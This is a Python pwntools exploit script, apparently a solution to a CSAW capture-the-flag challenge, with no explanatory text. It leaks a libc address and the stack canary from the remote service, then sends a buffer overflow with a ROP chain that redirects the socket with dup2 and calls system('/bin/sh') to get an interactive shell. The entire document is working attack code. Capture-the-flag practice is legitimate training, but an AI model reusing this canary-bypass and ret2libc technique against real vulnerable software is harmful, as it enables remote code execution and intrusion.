from pwn import *
p=remote('pwn.chal.csaw.io',8002)
poprdi=0x00000000004012e3
poprsi=0x00000000004012e1
pick64 = lambda x: u64(x.ljust(8, '\0'))
p.recvuntil('>')
p.sendline('1')
p.recvuntil(':')
buf=p.recvline()
puts_addr=int(buf,16)+1280
print 'puts_addr: '+hex(puts_addr)
system_addr=puts_addr-0x000000000006fd60+0x0000000000046590
str_sh=puts_addr-0x000000000006fd60+0x17c8c3
dup2_addr=puts_addr-0x000000000006fd60+0x00000000000ebe90
print 'system_addr: '+hex(system_addr)
print 'binsh_addr: '+hex(str_sh)
payload='A'*4
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(payload)
leak=p.recvn(0x144)
canary=pick64(leak[-12:-4])
print 'canary: '+hex(canary)
payload2='A'*312
payload2+=p64(canary)*2
payload2+=p64(poprdi)
payload2+=p64(4)
payload2+=p64(poprsi)
payload2+=p64(1)*2
payload2+=p64(dup2_addr)
payload2+=p64(poprdi)
payload2+=p64(4)
payload2+=p64(poprsi)
payload2+=p64(0)*2
payload2+=p64(dup2_addr)
payload2+=p64(poprdi)
payload2+=p64(str_sh)
payload2+=p64(system_addr)
p.recvuntil('>')
p.sendline('2')
p.recvuntil('>')
p.sendline(payload2)
p.interactive()